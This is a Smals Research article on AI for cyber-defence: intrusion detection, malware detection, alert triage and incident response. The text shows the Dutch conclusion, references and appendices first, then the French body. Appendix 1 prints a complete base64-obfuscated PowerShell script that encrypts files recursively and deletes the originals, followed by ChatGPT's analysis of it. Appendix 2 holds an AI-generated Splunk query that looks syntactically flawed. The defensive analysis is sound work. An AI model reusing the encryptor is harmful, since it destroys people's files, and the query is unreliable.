Vandaag de dag wordt er nog steeds veel onderzoek gedaan naar gespecialiseerde statistische en machine learning methoden – zoals anomaliedetectie – en worden deze toegevoegd aan commerciële tools voor inbraakdetectie met het label “AI”. Maar bij nader inzien blijkt AI vooral een nieuwe ‘productiviteitstool’ te zijn voor cybersecurityprofessionals, die helpt bij het automatiseren van bepaalde cyberdefensietaken of bij het faciliteren van incidentrespons en die de verwerking van informatie over bedreigingen vergemakkelijkt, maar niet de menselijke analist vervangt.

Referenties

[1]        B. Schneier, ‘Artificial Intelligence and the Attack/Defense Balance’, IEEE Secur. Priv., vol. 16, nr. 2, pp. 96-96, mrt. 2018, doi: 10.1109/MSP.2018.1870857

[2]        I. H. Sarker, H. Janicke, L. Maglaras, en S. Camtepe, ‘Data-Driven Intelligence can Revolutionize Today’s Cybersecurity World: A Position Paper’. arXiv, 9 augustus 2023. Geraadpleegd: 27 oktober 2023. [Online]. Beschikbaar op: http://arxiv.org/abs/2308.05126

[3]        J. D’Hoinne, A. Litan, en P. Firstbrook, ‘4 Ways Generative AI Will Impact CISOs and Their Teams’, Gartner, G00793265, jun. 2023.

[4]        M. Taddeo, T. McCutcheon, en L. Floridi, ‘Trusting artificial intelligence in cybersecurity is a double-edged sword’, Nat. Mach. Intell., vol. 1, nr. 12, pp. 557-560, nov. 2019, doi: 10.1038/s42256-019-0109-1

[5]        D. Dasgupta, Z. Akhtar, en S. Sen, ‘Machine learning in cybersecurity: a comprehensive survey’, J. Def. Model. Simul. Appl. Methodol. Technol., vol. 19, nr. 1, pp. 57-106, jan. 2022, doi: 10.1177/1548512920951275

[6]        M. Nouh, J. R. C. Nurse, H. Webb, en M. Goldsmith, ‘Cybercrime Investigators are Users Too! Understanding the Socio-Technical Challenges Faced by Law Enforcement’, in Proceedings 2019 Workshop on Usable Security, 2019. doi: 10.14722/usec.2019.23032

[7]        J. R. G. Evangelista, R. J. Sassi, M. Romero, en D. Napolitano, ‘Systematic Literature Review to Investigate the Application of Open Source Intelligence (OSINT) with Artificial Intelligence’, J. Appl. Secur. Res., vol. 16, nr. 3, pp. 345-369, jul. 2021, doi: 10.1080/19361610.2020.1761737

[8]        M. Sewak, V. Emani, en A. Naresh, ‘CRUSH: Cybersecurity Research using Universal LLMs and Semantic Hypernetworks’, 2023.

[9]        K. A. Scarfone en P. M. Mell, ‘Guide to intrusion detection and prevention systems (IDPS)’, National Institute of Standards and Technology, Gaithersburg, MD, NIST SP 800-94, 2007. doi: 10.6028/NIST.SP.800-94

[10]      D. Denning, ‘An Intrusion-Detection Model’, IEEE Trans. Softw. Eng., vol. 13, nr. 2, pp. 222-232, 20.

[11]      G. Apruzzese e.a., ‘The role of machine learning in cybersecurity’, Digit. Threats Res. Pract., vol. 4, nr. 1, pp. 1-38, mrt. 2023, doi: 10.1145/3545574

[12]      A. Bohara, M. A. Noureddine, A. Fawaz, en W. H. Sanders, ‘An Unsupervised Multi-Detector Approach for Identifying Malicious Lateral Movement’, in 2017 IEEE 36th Symposium on Reliable Distributed Systems (SRDS), Hong Kong, Hong Kong: IEEE, sep. 2017, pp. 224-233. doi: 10.1109/SRDS.2017.31

[13]      G. Apruzzese, M. Marchetti, M. Colajanni, G. G. Zoccoli, en A. Guido, ‘Identifying malicious hosts involved in periodic communications’, in 2017 IEEE 16th International Symposium on Network Computing and Applications (NCA), Cambridge, MA: IEEE, okt. 2017, pp. 1-8. doi: 10.1109/NCA.2017.8171326

[14]      J. Yang, T. Li, G. Liang, W. He, en Y. Zhao, ‘A Simple Recurrent Unit Model Based Intrusion Detection System With DCGAN’, IEEE Access, vol. 7, pp. 83286-83296, 2019, doi: 10.1109/ACCESS.2019.2922692

[15]      L. Cavallaro, J. Kinder, F. Pendlebury, en F. Pierazzi, ‘Are Machine Learning Models for Malware Detection Ready for Prime Time?’, IEEE Secur. Priv., vol. 21, nr. 2, pp. 53-56, mrt. 2023, doi: 10.1109/MSEC.2023.3236543

[16]      J. L. Hernández-Ramos e.a., ‘Intrusion detection based on federated learning: a systematic review’. arXiv, 18 augustus 2023. Geraadpleegd: 17 oktober 2023. [Online]. Beschikbaar op: http://arxiv.org/abs/2308.09522

[17]      Y.-H. Su, M. C. Y. Cho, en H.-C. Huang, ‘False Alert Buster: an Adaptive Approach for NIDS False Alert Filtering’, in Proceedings of the 2nd International Conference on Computing and Big Data, Taichung Taiwan: ACM, okt. 2019, pp. 58-62. doi: 10.1145/3366650.3366657

[18]      M. Gupta, C. Akiri, K. Aryal, E. Parker, en L. Praharaj, ‘From ChatGPT to ThreatGPT: Impact of generative AI in cybersecurity and privacy’, IEEE Access, vol. 11, pp. 80218-80245, aug. 2023, doi: 10.1109/ACCESS.2023.3300381

[19]      M. A. Ferrag, M. Ndhlovu, N. Tihanyi, L. C. Cordeiro, M. Debbah, en T. Lestable, ‘Revolutionizing Cyber Threat Detection with Large Language Models’. arXiv, 25 juni 2023. Geraadpleegd: 8 november 2023. [Online]. Beschikbaar op: http://arxiv.org/abs/2306.14263

[20]      A. Krishnan, ‘4 ChatGPT cybersecurity benefits for the enterprise | TechTarget’, Security. Geraadpleegd: 12 oktober 2023. [Online]. Beschikbaar op: https://www.techtarget.com/searchsecurity/tip/ChatGPT-cybersecurity-benefits-for-the-enterprise

[21]      J. Ganseman, ‘LLM pour code : the Good, the Bad and the Ugly | Smals Research’, Smals Research Blog. Geraadpleegd: 18 oktober 2023. [Online]. Beschikbaar op: /llms-pour-code/

[22]      N. Perry, M. Srivastava, D. Kumar, en D. Boneh, ‘Do Users Write More Insecure Code with AI Assistants?’ arXiv, 16 december 2022. Geraadpleegd: 3 oktober 2023. [Online]. Beschikbaar op: http://arxiv.org/abs/2211.03622

Bijlage 1 – Kwaadaardige scriptanalyse met ChatGPT

In het onderstaande voorbeeld zie je het antwoord van ChatGPT 4.0 op de vraag “Wat doet deze code?” gevolgd door een codevoorbeeld. Ondanks de poging tot verduistering en het foutieve commentaar, kan worden gezien dat ChatGPT dit script, dat alle bestanden in de map “C:\local\chat_gpt_ps\test” en de submappen versleutelt, correct analyseert.

Script ingevoerd in ChatGPT

function Compute_SHA256 {
    # Compute SHA 256 of an object in memory
    [CmdletBinding()]
    [OutputType([string])]
    Param
    (
        [Parameter(Mandatory = $true)]
        [String]$salt,
        [Parameter(Mandatory = $true, ParameterSetName = "param")]
        [String]$object
    )
    Begin {
        # Initialise hashing function
        $tmp = New-Object byte[] 16
        $sha1 = New-Object System.Security.Cryptography.SHA256Managed
        $sha2 = New-Object System.Security.Cryptography.AesManaged
        $sha2.Mode = 'CBC' -as [System.Security.Cryptography.CipherMode]
        $sha2.Padding = 'Zeros' -as [System.Security.Cryptography.PaddingMode]
        $sha2.BlockSize = 128
        $sha2.KeySize = 256
        [void][Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($tmp)
        $sha2.IV = $tmp
    }
    Process {
        # Compute hash
        $sha2.Key = $sha1.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($salt))
        $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("R2V0LUl0ZW0gLVBhdGggJG9iamVjdCAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ=="))
        $object2 = Invoke-Expression $dynCmd
        if (!$object2.FullName) {
            break
        }
        $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbEJ5dGVzKCRvYmplY3QyLkZ1bGxOYW1lKQ=="))
        $input = Invoke-Expression $dynCmd
        $output = $object2.FullName + ".xxx"
        $sha2_hasher = $sha2.CreateEncryptor()
        $encryptedBytes = $sha2_hasher.TransformFinalBlock($input, 0, $input.Length)
        $encryptedBytes = $sha2.IV + $encryptedBytes
        $sha2.Dispose()
       
        $e = $output
        $encD = $encryptedBytes
        $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W1N5c3RlbS5JTy5GaWxlXTo6V3JpdGVBbGxCeXRlcygkZSwgJGVuY0Qp"))
        Invoke-Expression $dynCmd
        (Get-Item $output).LastWriteTime = $object2.LastWriteTime
        $f = $object2
        $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("UmVtb3ZlLUl0ZW0gLVBhdGgg")) + "'$f'"
        Invoke-Expression $dynCmd
        return "Sortie: $output"        
    }
    End {
        $sha1.Dispose()
        $sha2.Dispose()
    }
}

$dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("R2V0LUNoaWxkSXRlbSAtUGF0aCAiQzpcTG9jYWxcY2hhdF9ncHRfcHNcdGVzdCIgLUZpbGUgLVJlY3Vyc2U="))

Invoke-Expression $dynCmd | ForEach-Object {
    $object = $_.FullName
    Compute_SHA256 -salt "salty" -object $object
}

Antwoord van ChatGPT

Deze PowerShell-scriptfunctie, Compute_SHA256, lijkt de functionaliteit te hebben om bestanden op een bepaalde locatie te versleutelen met SHA256 en AES encryptie, en vervolgens de originele bestanden te verwijderen. Hier is een uitleg van de verschillende onderdelen van de functie:

1. Functieparameters: De functie vereist twee parameters: salt, een zoutwaarde die gebruikt wordt voor hashing, en object, een pad naar een bestand dat verwerkt moet worden.
2. Initialisatie:
   • New-Object byte[] 16: Een array van 16 bytes wordt gecreëerd voor gebruik als initialisatievector (IV).
   • SHA256Managed: Een instance van SHA256 wordt gecreëerd voor hashing.
   • AesManaged: Een instance van AES wordt geïnitialiseerd met CBC-modus, padding op ‘Zeros’, een blokgrootte van 128 bits en een sleutellengte van 256 bits.
   • De IV wordt ingesteld met random bytes.
3. Verwerkingslogica:
   • De AES sleutel wordt ingesteld door de SHA256 hash van het zout.
   • Invoke-Expression: Wordt gebruikt om dynamisch commando’s uit te voeren die uit base64-gedecodeerde strings komen. Deze commando’s zijn:
     • Get-Item: Haalt het bestand op dat verwerkt moet worden.
     • ReadAllBytes: Leest alle bytes van het opgehaalde bestand.
     • WriteAllBytes: Schrijft de versleutelde bytes terug naar het bestand met een nieuwe extensie “.xxx”.
     • Remove-Item: Verwijdert het oorspronkelijke bestand.
   • De bestandsnaam van het verwerkte object wordt gebruikt om de outputbestandsnaam op te stellen door er “.xxx” aan toe te voegen.
   • De bytes van het bestand worden versleuteld met de vooraf geconfigureerde AES-instellingen.
   • De lastige schrijf- en verwijdercommando’s zijn ingebouwd in de dynamische commando’s die uitgevoerd worden via Invoke-Expression.
4. Opschoning: Aan het einde van de functie worden de Dispose methoden aangeroepen op de hash- en encryptie-instanties om systeembronnen vrij te maken.
5. Scriptuitvoering: Het script aan het eind haalt alle bestanden recursief op vanaf een bepaald pad en past de Compute_SHA256 functie toe op elk bestand met het zout ‘salty’.

Deze code kan potentieel schadelijk zijn als deze zonder toezicht in een productieomgeving wordt uitgevoerd, omdat het effectief bestanden versleutelt en vervolgens de originelen verwijdert. Het lijkt op ransomware-achtig gedrag, afhankelijk van het daadwerkelijke gebruik en de intentie. Gebruik en implementatie van dergelijke scripts moet met uiterste voorzichtigheid gebeuren.

Aanvullende vraag

Waar zie je dat de originele bestanden worden verwijderd?

Beantwoord door ChatGPT 4.0

De originele bestanden worden verwijderd in het script door het volgende gedeelte van de code in de Process blok:

$f = $object2 $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("UmVtb3ZlLUl0ZW0gLVBhdGgg")) + "'$f'" Invoke-Expression $dynCmd

Hier is wat er gebeurt in deze code:

1. Opslaan van het bestandsobject: $f = $object2 slaat het bestandsobject op in $f. Dit object bevat de eigenschappen van het bestand dat verwerkt wordt, inclusief het volledige pad.
2. Genereren van het verwijdercommando:
   • [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("UmVtb3ZlLUl0ZW0gLVBhdGgg")) decodeert een base64-encoded string die vertaald wordt naar “Remove-Item -Path “.
   • Dit wordt dan samengevoegd met ‘$f‘ (het pad van het bestand) om het complete PowerShell-commando te vormen dat het bestand zal verwijderen.
3. Uitvoeren van het verwijdercommando: Invoke-Expression $dynCmd voert het samengestelde commando dynamisch uit, wat leidt tot het verwijderen van het bestand op het pad dat in $f is opgeslagen.

Dit gedeelte van het script zorgt er dus voor dat na de versleuteling van het bestand, het originele bestand van de schijf wordt verwijderd. Dit gedrag is typisch voor scripts die gebruikt worden in data-archivering of beveiliging, maar kan ook schadelijk zijn indien misbruikt.

Bijlage 2 – Analysescriptgeneratie

Voorbeeld van het genereren van een zeer eenvoudig event log analysescript in Splunk’s SPL taal.

Vraag

Schrijf een Splunk script dat entries filtert waarvan het IP bronadres niet gereserveerd is en niet in België ligt en waarvan de bestemming een klasse A IP is dat begint met 10.

Antwoord

Om een Splunk zoekopdracht te schrijven die log entries filtert gebaseerd op IP-adres criteria met een specifieke geografische locatie (België), plus de eerder genoemde IP-voorwaarden, heb je aanvullende informatie over de geolocatie van IP-adressen nodig. Als je Splunk omgeving ingesteld is om IP-geolocatie te ondersteunen (vaak via een geolocatie lookup tabel of externe integratie), kunnen we een effectieve zoekopdracht schrijven die de geolocatie data integreert.

Hieronder vind je een voorbeeld van hoe zo’n zoekopdracht eruit zou kunnen zien. Deze zoekopdracht veronderstelt dat er velden zijn zoals src_ip voor het bron-IP-adres, dest_ip voor het bestemmings-IP-adres, en een veld (bijvoorbeeld src_country) dat het land van het bron-IP aangeeft. Je moet misschien de veldnamen aanpassen afhankelijk van jouw specifieke Splunk setup.

index=<jouw_index_naam> sourcetype=<jouw_sourcetype> | iplocation src_ip | eval reserved_ip_list="10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,127.0.0.0/8,169.254.0.0/16" | where NOT match(cidrmatch(reserved_ip_list, src_ip)) AND NOT src_country="Belgium" | where match(cidrmatch("10.0.0.0/8", dest_ip)) | table _time, src_ip, dest_ip, src_country, other_relevant_fields

Uitleg van de Query

1. Index en Sourcetype: Specificeer je index en sourcetype die relevant zijn voor je data.
2. IP Geolocatie: De iplocation commando voegt geolocatie-informatie toe aan elk event gebaseerd op het src_ip. Dit voegt velden zoals Country, City, etc., toe, afhankelijk van de nauwkeurigheid en de instellingen van je geolocatie database.
3. Reserve IP-adressen: De lijst van gereserveerde IP-adressen wordt gedefinieerd en gebruikt om te controleren of het src_ip niet binnen deze gereserveerde ranges valt.
4. Filter op Niet-Gereserveerde en Niet-Belgische Bron-IP’s: De where clausule wordt gebruikt om events te filteren waarbij het bron-IP-adres niet in de gereserveerde reeksen valt en niet uit België komt (src_country zou aangepast moeten worden aan jouw geolocatie veldnaam).
5. Filter op Klasse A Bestemmings-IP’s: Een tweede where clausule filtert op bestemmings-IP’s die beginnen met .
6. Resultatenweergave: De table commando geeft de resultaten weer in een tabelvorm met relevante velden zoals tijd, bron- en bestemmings-IP, land van het bron-IP en andere velden die belangrijk kunnen zijn voor je analyse.

Deze zoekopdracht biedt een effectieve manier om netwerkverkeer te monitoren met een focus op specifieke geografische en netwerkcriteria. Afhankelijk van de exacte vereisten, kun je meer specifieke filters of analyses toevoegen, zoals statistieken over verkeersvolumes of gedetailleerde onderzoeken naar bepaalde soorten verkeer.

Notes

¹   https://cordis.europa.eu/project/id/700692

²   Uit een systematische analyse van publicaties over het gebruik van AI voor OSINT blijkt dat cybersecurity bijna de helft van de onderzochte publicaties[7] uitmaakt.

³   De auteurs geven een recall aan van 90%. In het algemeen wordt recall gedefinieerd door het aantal gevonden relevante documenten in verhouding tot het aantal relevante documenten in de database.

 [4] Het model maakt gebruik van statistieken om afwijkingen te detecteren (eenvoudig statistisch model, Markovketen en tijdreeksen).

⁵   https://www.cloudflare.com/fr-fr/learning/security/glossary/what-is-lateral-movement/

⁶   https://github.com/GreyDGL/PentestGPT

⁷   https://www.hackthebox.com/

⁸   Stel dat in een log van een miljoen gebeurtenissen wordt geschat dat er 100 gebeurtenissen zijn die echt overeenkomen met een inbraak. Laten we ook veronderstellen dat een fabrikant ons een inbraakdetectiesysteem verkoopt met een gevoeligheid van 99,9%, d.w.z. een percentage van 0,1% fout-negatieve events die overeenkomen met echte inbraken, en met een specificiteit van ook 99,9%, d.w.z. een percentage van 0,1% fout-positieve events die niet overeenkomen met inbraken. Als de software van de fabrikant een alert signaleert, wat is dan de waarschijnlijkheid dat dit daadwerkelijk overeenkomt met een inbraak?

Instinctief zouden velen zeggen “99,9%”. Echter, als we I aantonen, de willekeurige variabele die overeenkomt met een inbraak, en de willekeurige variabele A met betrekking tot een alert, kunnen we de bovenstaande hypothesen als volgt herschrijven: Als P(I)=100/1.000.000, P(A│I)=0,999, en P(¬A│¬I)=0,999, wat is dan de waarde van P(I|A)? Het theorema van Bayes geeft ons: P(I│A)=P(I)⋅P(A|I)/P(A) met P(A)=P(I)⋅P(A│I)+P(¬I)⋅P(A|¬I) en P(A│¬I)=1−P(¬A│¬I)=0,001. Dit leidt tot een kans van 9,08% dat de gegeven alert daadwerkelijk een inbraak is, niet 99,9%!

⁹   Een niet-parametrische methode voor het schatten van de kansdichtheid van een willekeurige variabele

¹⁰ https://www.paloaltonetworks.com/blog/security-operations/using-chatgpt-in-cortex-xsoar/

¹¹ https://falconllm.tii.ae/

_________________________
Dit is een ingezonden bijdrage van Fabien A. P. Petitcolas, IT-beveiligingsspecialist bij Smals Research. Dit artikel werd geschreven in eigen naam en neemt geen standpunt in namens Smals.

Dans un premier article, nous avons brièvement expliqué ce qui se cache derrière le terme « d’intelligence artificielle (IA) » en décrivant quelques techniques de base utilisées en cybersécurité. Dans un deuxième article, nous avons traité de l’utilisation de l’IA pour faciliter les attaques contre des systèmes informatiques. En particulier, nous avons détaillé comment l’IA pourrait modifier ou modifie déjà plusieurs vecteurs d’attaques.

Dans le dernier article de cette série, après quelques considérations générales, nous passons en revue des domaines de la cyber-défense tirant parti ou pouvant tirer parti de l’IA tels que le renseignement sur les cyber-attaques, la détection et l’identification de cyber-attaques, ou encore la réponse à des incidents de cybersécurité.

Introduction

Dès 2018, Schneier [1] estimait que la cyber-défense allait bénéficier d’avantage des techniques d’IA que la cyber-offensive, car selon lui, la défense était dans une moins bonne position que l’attaque, précisément à cause de ses importants composants humains. De plus il prédisait que les adversaires allaient continuer d’améliorer leur stratégie d’attaque grâce à l’automatisation, de sorte que le seul moyen efficace d’atténuer ces attaques à la vitesse de la machine serait l’automatisation. C’est une thèse également défendue par Sarker et al. [2] qui soutiennent que l’IA pourrait révolutionner le domaine de la cybersécurité, en offrant non seulement une automatisation des tâches à grande échelle, mais aussi en aidant les experts humains à mieux comprendre une situation et à prendre des décisions dans des scénarios réels.

La société Gartner s’attend quant à elle, à ce que l’IA contribue à une réduction de 30% du taux de faux positifs dans les tests d’applications et la détection de menaces avant 2027 [3]. Les nouveaux outils récemment annoncés par des entreprises importantes du marché, dont CrowdStrike, pourraient en effet, selon Gartner aider à améliorer la productivité et les compétences des administrateurs. Les idées ne manquent pas, mais comme le soulignent les auteurs de la note de la société de conseil, les fonctionnalités de recherche et d’analyse existent déjà et la nouveauté réside essentiellement dans l’interactivité entre les analystes humains et la machine.

Taddeo et al. [4] temporisent l’engouement pour l’IA dans la cyber-défense en faisant remarquer que placer sa confiance dans l’IA pour la robustesse, la résilience et la réponse des systèmes de cybersécurité n’est pas méritée et insistent qu’une forme de contrôle est nécessaire pour réduire les risques de sécurité. Les auteurs utilisent le terme de confiance dans son terme le plus pur : une décision de déléguer, sans forme de contrôle ou de surveillance, une acceptation d’un risque de dépendance. Ils pointent le manque de transparence de l’IA et l’évolution d’un système d’IA dans le temps comme des limites importantes et recommandent notamment une mise en œuvre « maison » pour les infrastructures nationales critiques et une surveillance permanente du système d’IA et de son évolution.

Dasgupta et al. [5] ont passé en revue la plupart des publications récentes utilisant l’IA dans le domaine de la cybersécurité. Un point crucial reste selon eux la performance (en termes de vitesse de réaction, mais également de réduction du taux de faux-positifs et faux-négatifs) des outils de détection qui peut avoir des conséquences importantes sur le système où ils sont déployés.

Dans les sections suivantes nous regardons plus en détails différents domaines de la cyber-défense pouvant tirer parti de l’IA.

Renseignement sur les cyber-attaques

Le renseignement sur les cyber-menaces est le processus de collecte, d’analyse et de diffusion d’informations sur les cyber-menaces actuelles et émergentes, telles que les acteurs, les cibles, les techniques, les outils, etc. Ces renseignements peuvent aider les organisations à se défendre de manière proactive contre les cyber-attaques en fournissant des informations exploitables et opportunes aux équipes de sécurité.

De nos jours, le renseignement d’origine de sources ouvertes (ROSO – « Open-Source Intelligence (OSINT) ») est largement adopté par les gouvernements et les services de renseignement pour mener leurs enquêtes et lutter contre la cyber-criminalité [6]. Le projet européen DiSIEM¹ avait pour premier objectif l’intégration de diverses sources de données ROSO dans les systèmes de gestion des informations et événements de sécurité (« Security Information and Event Management (SIEM) ») pour aider à réagir aux vulnérabilités récemment découvertes dans l’infrastructure ou même à prédire d’éventuelles menaces émergentes².

En principe un modèle de langage massif (« Large Language Models (LLM) ») entraîné sur de larges sources de données comme les forums web, les sites spécialisés sur les vulnérabilités et incidents, ou les réseaux sociaux, pourrait être utilisé afin de générer des rapports de renseignement sur les cyber-menaces. Les LLM pourraient donc être utilisés pour accéder plus rapidement à de la documentation technique, des renseignements d’intelligence provenant de sources spécialisées. Par exemple Sewak et al. [8] affirment que les LLM peuvent automatiquement extraire, valider et résumer des informations provenant de diverses sources, telles que des rapports de menaces, de la littérature, des scripts, etc. Ils montrent notamment comment les LLM peuvent identifier les intentions malveillantes dans des scripts. Leur approche permettrait de découvrir plus de 90%³ des scripts effectivement malveillants dans une tâche de détection.

Détection et identification de cyber-attaques

L’IA peut jouer un rôle dans la détection et l’identification des cyber-attaques en améliorant les systèmes de détection d’intrusions et de logiciels malveillants et en permettant de mieux gérer les alertes.

Détection d’intrusions

Selon le NIST [9], un système de détection d’intrusions (IDS) se réfère au « processus de surveiller les événements se produisant dans un système informatique ou un réseau et de les analyser pour des signes d’incidents possibles. » Bien que les premiers développements de tels systèmes se soient concentrés sur des approches par signature, en 1986, Denning publiait un modèle d’IDS [10] basé sur la détection d’anomalies⁴ qui constitue encore aujourd’hui la base de nombreux systèmes. L’avantage principal des méthodes basées sur la détection d’anomalies est que celles-ci peuvent détecter des types d’incidents qui n’ont pas déjà été vus. Aujourd’hui ce sont les méthodes d’apprentissage automatiques non-supervisées qui sont couramment utilisées pour la détection d’anomalies : l’activité sur le réseau est comparée avec une ligne de base pré-entraînée et normalisée qui présente le comportement normal, ce qui permet au système de détecter des activités malveillantes inconnues, contrairement aux méthodes par signature.

Une approche est d’entraîner un réseau de neurones artificiels à apprendre si un trafic réseau est normal ou correspond à une classe d’attaques. En pratique cela demande les étapes suivantes :

1. Un expert collecte un ensemble de données contenant à la fois le trafic normal du réseau de communication et des attaques.
2. Sur une machine très puissante, un réseau de neurones est entraîné à classer la différence entre le trafic normal et le trafic d’attaque.
3. Une copie du modèle appris lors de l’étape précédente est transférée sur le système opérationnel de détection d’intrusion de l’organisation.
4. Le système de détection d’intrusions applique le modèle sur le trafic réseau observé.

Les choix de méthodes d’apprentissage sont nombreux, mais selon Appruzzese et al. [11], les méthodes d’apprentissage non-supervisé sont particulièrement appréciées pour les systèmes de détection d’intrusion sur les réseaux de communication en raison de la difficulté et du coût d’obtenir des données étiquetées. Par ailleurs, selon ces auteurs, la supériorité des réseaux d’apprentissage profonds pour la détection d’intrusions, par rapport à d’autres techniques d’IA, n’est pas prouvée et la complexité et le coût de calcul supplémentaire ne justifient pas nécessairement leur adoption.

Voici quelques exemples d’utilisation de techniques non-supervisées utilisées pour la détection d’intrusions :

• Bohara et al. [12] utilisent plusieurs techniques de détection d’anomalies et notamment l’analyse en composantes principales (« Principal Component Analysis (PCA)»), le partitionnement en k-moyennes, et la détection de valeurs aberrantes basée sur l’écart absolu médian afin de détecter des mouvements latéraux⁵ sur un réseau. Ces auteurs atteignent un taux de vrais positifs (TPR) de 88.7% et un taux de faux positifs (FPR) de 14.1%.
• Dans [13], les auteurs présentent une méthode pour générer automatiquement une liste grise d’hôtes externes qui ont une probabilité élevée d’être impliqués dans des activités de balisage malveillant par rapport à l’ensemble de tous les hôtes externes habituellement contactés par l’organisation protégée. Leur proposition s’appuie sur des techniques de regroupement appliquées aux flux de réseaux.
• Afin d’adresser le problème de déséquilibre entre le nombre d’échantillons positifs et négatifs dans les journaux d’intrusion (très peu de trafic malveillant par rapport au trafic légitime), Yang et al. [14] utilisent un réseau antagoniste génératif convolutif profond (« Deep Convolutional Generative Adversarial Network (DCGAN) ») afin de construire un système de détection d’intrusion en temps réel. Le DCGAN maintient un équilibre entre échantillons positifs et négatifs en générant de nouvelles données synthétiques. Afin de permettre l’analyse en temp réel, les auteurs utilisent des unités récurrentes fermées (« Gates Recurrent Units (GRU) »), qui sont plus efficaces qu’un réseau récurrent à mémoire court et long terme (LSTM) car utilisant moins de paramètres. Le système atteint une exactitude de 99,73%.

Enfin, les outils basés sur les modèles massifs de langage ont aussi commencé à faire leur apparition dans la détection d’intrusion. Par exemple, l’outil PentestGPT⁶ est un outil de tests d’intrusions optimisés par des LLM (en l’occurrence ChatGPT-4) et permet l’automatisation du processus de test d’intrusion en guidant les testeurs dans l’opération globale et les opérations spécifiques. PentestGPT a été testé avec succès sur « HackTheBox⁷ » et à travers diverses compétitions de capture de drapeau (« Capture the Flag (CTF) ») de niveau facile ou moyen.

Détection de logiciels malveillants

L’apprentissage automatique peut être utilisé à la fois pour l’analyse statique et l’analyse dynamique des logiciels malveillants. Cependant l’analyse statique est sujette à des contournements relativement simples en modifiant l’exécutable sans changer la logique sous-jacente ou avec des variantes plus avancées (p. ex. polymorphisme) modifiant l’exécutable de manière automatique.

Les analyses dynamiques combinées avec un apprentissage automatique s’avèrent plus efficaces [11]. Mais il existe plusieurs limites à l’applicabilité des dernières avancées universitaires dans le domaine de l’apprentissage automatique à la détection de logiciels malveillants [15], notamment :

• Mauvaise interprétation de la mesure de performance, en partie due à l’oubli de la fréquence de base – un biais cognitif lié aux lois statistiques⁸;
• Les bases de données de tests sont souvent vieilles de plusieurs années et ne tiennent donc pas compte des nouvelles méthodes de contournement mises en œuvre par les adversaires, ni des nouvelles interfaces de programmation applicatives disponibles. Selon [16], un grand nombre de travaux récents concernant l’apprentissage fédéré pour la détection d’intrusions, utilisent encore des bases de données publiques créée avant 2017, et donc avec des attaques ne reflétant pas nécessairement les réseaux de communication actuels.

Gestion des alertes

Le triage des alertes de sécurité est une tâche qui demande relativement beaucoup de temps, mais qui peut être accélérée en mettant des informations contextuelles à disposition des analystes afin que ceux-ci n’aient pas à passer d’un outil de journalisation ou d’analyse à l’autre afin de comprendre ce qui se passe. Par exemple : géolocalisation d’une adresse IP, nom de l’organisation contrôlant l’IP, âge du domaine, réputation d’une valeur de hachage d’un fichier, type de fichier correspondant, copie d’écran automatique d’une URL, informations sur l’hôte et son environnement, etc. Ces alertes pourraient aussi être enrichies directement par un LLM (p. ex. catégorisation, information issue des services de renseignement spécialisés, score de risque).

De plus des techniques d’apprentissage automatique peuvent être utilisées pour le filtrage, le triage, la priorisation et l’agrégation d’alertes, afin de faciliter le triage et la réponse aux incidents. Par exemple Su et al. [17] proposent une méthode pour automatiser le filtrage des faux positifs en utilisant une estimation par noyau⁹ (« Kernel density estimation (KDE) »). Selon les auteurs, celle-ci réduit jusqu’à 75% le temps nécessaire pour la vérification des alertes.

Réponse à des incidents de cybersécurité

La réponse aux incidents est un élément clé de la stratégie de cybersécurité d’une organisation. Une réponse bien orchestrée peut contribuer à atténuer les dommages causés par une violation de la sécurité ou une cyber-attaque. Cependant, la rapidité et la précision de ces réponses sont primordiales. Les LLM peuvent contribuer à accélérer et à rationaliser ces processus, en fournissant des réponses automatisées et même en aidant à élaborer des plans d’intervention en cas d’incident. L’une des caractéristiques de l’architecture de ces LLM est leur capacité à générer du texte naturel, basé sur le contexte. Elle peut être exploitée pour créer un assistant de réponse aux incidents alimenté par l’IA, capable de fournir des conseils immédiats pendant un incident et de documenter automatiquement les événements au fur et à mesure qu’ils se déroulent. Par exemple, PaloAlto XSOAR¹⁰ utilise ChatGPT pour générer des guides permettant de gérer certaines attaques (voir Figure 1).

Figure 1 – Informations proposée par XSOAR pour gérer une réponse à un incident de sécurité (d’après [18]).

Ferrag et al. [19] utilisent FalconLLM¹¹ afin d’analyser la sévérité et l’impact potentiel d’une attaque identifiée par un système de détection d’intrusions en la comparant avec sa base de données interne. De manière similaire à PaloAlto XSOAR, l’outil permet également de proposer des stratégies d’atténuation potentielles et des procédures de rétablissement, pouvant ainsi guider une équipe d’intervention. Les réponses proposées restent cependant très générales et peuvent ne pas être utiles à un administrateur expérimenté (voir Figure 2).

Figure 2 – Exemple de solution de stratégie d’atténuation proposée par FalconLLM (source [19]).

L’IA générative peut également permettre d’automatiser certains aspects de l’analyse des cyber-incidents par les analystes d’un centre des opérations de sécurité. Par exemple, selon A. Krishnan [20], ChatGPT pourrait être utilisé pour décrire ce que fait un script Powershell (voir exemple en annexe). De manière similaire, ces outils permettant aussi de générer du code, il est donc possible d’envisager leur utilisation pour faciliter l’écriture de scripts d’analyse de journaux par des analystes (voir annexe).

L’automatisation de la réponse à des incidents est aussi envisagée, mais un problème important reste l’attribution de la responsabilité. Celle-ci est rendue d’autant plus difficile, qu’à ce jours les systèmes d’IA sont encore peu transparents et difficilement explicables.

Enfin, les rapports détaillés sur les incidents de cybersécurité jouent un rôle important pour aider les principales parties prenantes, notamment les équipes opérationnelles de sécurité, les responsables de la sécurité, afin de mieux comprendre et améliorer la posture de sécurité d’une organisation. Certains envisagent l’utilisation d’IA générative afin de synthétiser les journaux d’incidents et rédiger des rapports permettant d’agir plus rapidement.

Génération de code sécurisé

